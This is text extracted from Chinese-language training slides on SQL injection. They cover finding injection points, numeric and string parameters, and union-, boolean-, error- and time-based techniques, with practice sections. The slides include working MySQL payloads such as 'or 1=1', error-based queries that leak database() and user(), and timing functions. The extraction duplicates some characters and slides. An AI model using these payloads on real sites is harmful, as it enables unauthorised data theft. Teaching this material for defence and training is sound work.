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⼀一掃開⼀一堆



明明服務那麼多，為何⼤大家都打網站？
• ⼀一個常⾒見服務⼀一年也才幾個CVE 
• 就算沒設定好，常常能利⽤用的點也有限 
• 反觀WEB，卻是跟「⼈人」最相關的



換句話說 
網⾴頁通常⽐比較好打啦



⽽而網⾴頁中常⾒見的攻擊就是 
Injection (注⼊入)



OWASP 都說是 Top1 了



總之今天重點是，資料隱碼(注⼊入)攻擊
• 別在說你看不懂這是啥



SQL Injection



說⽩白了就是拼拼湊湊 

select * from flags where id = '$input'; 
select * from flags where id = '1'; 
select * from flags where id = '1 or 1=1'; 



那怎麼尋找注⼊入點？



注⼊入區



再來要先測試出欄位型態
• 數字
• 字串

news.php?id=1&title=何時拆忠孝⻄西路



數字  可能⻑⾧長這樣 

select * from news where id = $input; 
select * from news where id = 1; 
select * from news where id = 1 or 1=1; 
select * from news where id = 1 and (select 1) = 1;



字串  可能⻑⾧長這樣 

select * from news where id = '$input'; 
select * from news where id = '1'; 
select * from news where id = '1 or 1=1'; 
select * from news where id = '1 and (select '1') = '1';



再來要嘗試拼出可⽤用payload
• 數字
• 字串

news.php?id=1%2b1&title=何時'%2b'拆忠孝⻄西路 

select * from news where id = 1+1; 
select * from news where id = 2; 

select * from news where title = '何時'%2b'拆忠孝⻄西路' 
select * from news where title = '何時'+'拆忠孝⻄西路' 
select * from news where title = '何時拆忠孝⻄西路' 



常⾒見幾種分類

Union-Based 
Boolean-Based 

Error-Based 
Time-Based 



Union-Based 
• 原先 SQL 會將執⾏行結果顯⽰示於畫⾯面上 
• 透過 UNION 把要撈的資料拼在⼀一起



第⼀一步要先知道欄位個數
• 假設原先 Table 有4個欄位
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第⼀一步要先知道欄位個數
• 假設原先 Table 有4個欄位 
• 可以⽤用 UNION 瘋狂列舉 
• 可以⽤用 ORDER 列舉



再來就照著欄位數把它接起來 
• 就可以開始抓你想要的資料！ 
• cheatsheet: http://goo.gl/NlFHNm 



Union-Based - 練習 
• 原先 SQL 會將執⾏行結果顯⽰示於畫⾯面上 
• 透過 UNION 把要撈的資料拼在⼀一起



Boolean-Based 
• WEB輸出結果僅能判斷SQL成功或失敗



判斷資料⽅方法 
• 嘗試利⽤用 boolean 結果判斷資料
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判斷資料⽅方法 
• 嘗試利⽤用 boolean 結果判斷資料 
• 利⽤用基本 function 
• 抓⻑⾧長度，切字元，暴⼒力破 
• ⼆二分法



Boolean-Based 練習 
• WEB輸出結果僅能判斷SQL成功或失敗



Error-Based 
• SQL 執⾏行錯誤時，會產⽣生錯誤訊息於WEB上 
• 透過 SQL 本⾝身的錯誤訊息抓取資料



確定會有錯誤訊息，就可以抓資料 
• DuplicateEntry

SELECT * FROM news WHERE id=1 and (select 1 from(select 
count(*),concat((select (select concat(0x27,database(),0x27)) 

from information_schema.tables limit 0,1),floor(rand(0)*2))x 
from information_schema.tables group by x)a) = 1;
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確定會有錯誤訊息，就可以抓資料 
• DuplicateEntry 
• ExtractValue 
• BigInteger

SELECT * FROM news WHERE id=1 and (select 2*if((select * 
from (select user())s), 18446744073709551610, 

18446744073709551610)) = 1;



確定會有錯誤訊息，就可以抓資料 
• DuplicateEntry 
• ExtractValue 
• BigInteger 
• UpdateXML



Error-Based 練習 
• SQL 執⾏行錯誤時，會產⽣生錯誤訊息於WEB上 
• 透過 SQL 本⾝身的錯誤訊息抓取資料



Time-Based 
• Boolean-Based 的替代⽅方案 
• 利⽤用 SQL 執⾏行時間作為判斷依據



MySQL中可⽤用 
• sleep

1.15 -> 1 * 100 
14.00 -> 14 
114.chr = 'r'



MySQL中可⽤用 
• sleep

1.15 -> 1 * 100 
14.00 -> 14 
114.chr = 'r'
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MySQL中可⽤用 
• sleep 
• benchmark 
• heavy query



Time-Based 練習 
• Boolean-Based 的替代⽅方案 
• 利⽤用 SQL 執⾏行時間作為判斷依據


